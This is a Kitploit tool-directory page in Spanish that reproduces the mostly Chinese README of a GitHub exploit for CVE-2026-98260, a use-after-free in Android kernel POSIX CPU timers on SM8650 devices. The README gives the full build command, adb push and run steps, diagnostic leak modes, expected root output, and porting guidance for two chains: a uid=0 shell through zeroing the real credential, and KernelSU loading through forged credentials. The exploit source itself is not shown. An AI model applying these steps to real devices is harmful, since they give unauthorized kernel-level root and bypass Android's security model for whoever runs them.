Skip to content
KitploitKITPLOIT
HerramientasExploitsBlog
Log in
Enviar
HerramientasExploitsBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

FeedsContactoPrivacidad© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2026-98260 — Exploit de use-after-free en temporizadores de CPU POSIX del kernel de Android para CVE-2026-98260, que logra una shell con uid=0 o una carga tardía de KernelSU mediante credenciales falsas en dispositivos SM8650. | Kitploit
Herramientas/GitHubGitHub/zjns/cve-2026-98260
Seguridad AndroidEscalada de PrivilegiosExplotaciónPost-ExplotaciónSeguridad MóvilDesarrollo de PayloadsExplotación de Binarios
GitHubzjns/cve-2026-98260

CVE-2026-98260

Exploit de use-after-free en temporizadores de CPU POSIX del kernel de Android para CVE-2026-98260, que logra una shell con uid=0 o una carga tardía de KernelSU mediante credenciales falsas en dispositivos SM8650.

Ver Repositorio
932hace 8 díasAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CVE-2026-98260 Timer LPE

6.6.118-android15-8-g9bc34d5b0c79-abogki537459655-4k(OnePlus PKX110,SM8650/sun)的 CVE-2026-98260 POSIX CPU timer UAF 移植

两条链:

  • timer: escritura cero de cred real → uid=0, u:r:shell:s0 (root en dominio shell, bset caps)
  • timer fake: cred falso (full caps) → carga tardía de libksud.so de KernelSU instalado

状态

RutaResultado
escritura cero de cred real + setuid(0) + exec shuid=0, u:r:shell:s0, ROOT_SHELL_OK
cred falso + ksud late-loadlibksud.so instalado (uapi 6), KSU_LOADED, su es u:r:ksu:s0

环境

  • 启动身份:adb/shell(uid 2000,u:r:shell:s0),可读 tracefs 与 /proc/slabinfo
  • KernelSU manager 已安装(me.weishu.kernelsu)时,fake 会自动使用其 lib/arm64/libksud.so

构建

NDK 28.2(aarch64,API 35):

cd timer
NDK=~/Android/Sdk/ndk/28.2.13676358/toolchains/llvm/prebuilt/linux-x86_64/bin
$NDK/aarch64-linux-android35-clang -O2 -std=gnu11 -static \
    -fno-stack-protector -fno-pic -I. \
    -ffunction-sections -fdata-sections timer.c -o timer \
    -Wl,--gc-sections -Wl,-s -Wl,--build-id=none \
    -Wl,-z,norelro -pthread

使用

adb push timer /data/local/tmp/timer
adb shell chmod 755 /data/local/tmp/timer

# 诊断
adb shell /data/local/tmp/timer ids     # 探测 tracefs page event id
adb shell /data/local/tmp/timer leak    # 只做 base/cred/task 泄漏,不触发 UAF

# shell uid-0 (cred real)
adb shell /data/local/tmp/timer         # id + context + ROOT_SHELL_OK
adb shell /data/local/tmp/timer shell   # sh interactivo

# KernelSU (cred falso + ksud instalado) —— ejecución en primer plano, registros en tiempo real
adb shell /data/local/tmp/timer fake
# tras ver "[!] fake cred page held; reboot to clean" puedes cerrar la terminal directamente
# (al hacer park ya se ignoran SIGHUP/SIGINT/SIGTERM, el proceso sigue reteniendo la página de cred falso, no lo matan por error con Ctrl-C/desconexión)

# 若仍需在设备侧留存日志(同时实时显示):
adb shell 'cd /data/local/tmp && ./timer fake 2>&1 | tee timer.log'

fake 成功标志:

[ksu] ksud=.../lib/arm64/libksud.so version=ksud 3.3.1-24-g528bafc5 (uapi: 6)
KSU_LOADED
kernelsu ... Live
adb shell /system/bin/su -c id   # uid=0 ... context=u:r:ksu:s0

安全

  • 失败 state 会 park 并持有 zombie;不要 kill,重启是唯一安全清理
  • fake 成功后父进程也会 park,用 socket 持有 fake cred 页
  • 触发 UAF 后不要对 parked 进程 timeout/kill,否则 init 回收 stale node 可能 panic
  • park_forever() 会忽略 SIGHUP/SIGINT/SIGQUIT/SIGTERM/SIGPIPE,因此前台运行时可安全地用 Ctrl-C 或关闭 adb 终端脱开;真正终止只能靠 SIGKILL(或重启)
  • 硬重启后 ksu root 消失,使用 KernelSU 模拟软重启不会导致 ksu root 消失

目录

timer/timer.c      exploit
timer/timer        静态产物
tools/*.c          移植诊断源码

目标与移植

关键常量写死在 timer/timer.c:do_timer_create/copy_process 站点、selinux_state、panic_on_warn、copy_process task cache 大小、init_* 符号

Al cambiar de kernel, vuelve a derivarlo con el boot.img/BTF/kallsyms del dispositivo; los archivos bajo tools/ sirven para verificar el call site, el raw record, la fuga del timer y el canal de recuperación AF_UNIX de 8 KiB

参考

  • woshigenm/CVE-2026-98260(MIT):trigger、real-cred 零写、fake cred/KSU 思路
  • ghostlock-app:KernelSU late-load 最终阶段
  • 其他 CVE-2026-98260 移植项目:order-1 回收与触发时序
Descargar herramienta